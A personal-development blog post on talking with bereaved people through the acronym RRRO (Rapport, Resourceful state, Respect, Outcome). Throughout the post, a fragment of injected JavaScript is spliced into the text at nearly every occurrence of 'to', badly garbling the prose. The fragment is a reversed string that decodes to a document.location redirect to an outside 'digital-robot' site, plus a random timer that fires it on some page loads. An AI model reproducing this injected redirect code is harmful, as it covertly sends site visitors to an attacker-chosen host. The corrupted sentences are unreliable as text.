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Talk about death, or talking tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to someone who has been bereaved, is potentially a very difficult conversation. Or you can make it productive instead.

I like tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to say that all difficult conversations can be turn intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to productive conversations if you go about them the right way.

My background in NLP has given me some really useful tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tools for all sorts of communication. One of my favourite is very helpful for making any difficult conversation intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a productive one.

It’s a little acronym with a lot of meaning.

It’s RRRO!

So what does RRRO stand for:

R = Rapport
R = Resourceful state of mind
R = Respect for the other person’s point of view
O = Outcome

Let’s go through those one by one:

R = Rapport

All communication is improved with rapport. It is worth taking the time tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get on the same wavelength as the other person, by connecting with them in some way. Find something that you have in common, for example.

The British are brilliant at this – we always talk about the weather, and travel. Both tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topics are pretty neutral, and give you a way of connecting with the other person before moving on tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to deeper conversation.

R = Resourceful state of mind

If you enter intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a conversation expecting it tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be difficult – guess what? It WILL be difficult.

If you go intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to it feeling calm, and expecting only that you will do your very best tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make it a productive conversation – guess what? You’ll find it easy tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to stay calm, do you best, and make it productive.

Your state of mind has a MASSIVE impact on how you do anything. Sports people spend just as long training their mind as they do training their body. They know what a high-performance state of mind is tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to increase their chances of doing well in competition.

It pays tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to think yourself intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a high-performance state of mind that is appropriate for the conversation that you are about tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have.

R = Respect for the other person’s point of view

Have you ever talked tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to someone who keeps taking your conversation and making it about them? You know the type – as my friend Jenny says “If you’ve been tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Tenerife, they’ve been tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Eleven-erife”.

When someone has been bereaved, and wants tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to talk tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to you about it, they are talking about themselves. Don’t make it about you. Respect THEIR point of view, and listen tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to what they have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to say. Ask them questions about their experience, and think about ways that you can support them.

O = Outcome

To make any conversation productive, it is useful tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to keep in mind an outcome, or a purpose. When you are talking tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a bereaved person, what might your outcome be?
tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to give comfort?
tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to provide a listening ear?
tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to offer practical help?
tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to support them taking actions?
tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be a shoulder tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to cry on?
tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to show your love and friendship?

Just knowing your outcome in your own mind is enough. It will help you tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to know what tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to say and how tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to say it.

And what about you?
What helps you tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have these conversations?

About Madeleine Allen:  The author is a specialist in Leadership,  Communication and Personal Development for business professionals.  An NLP Trainer and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) and public courses in NLP (learn more at www.brightlightnlp.com)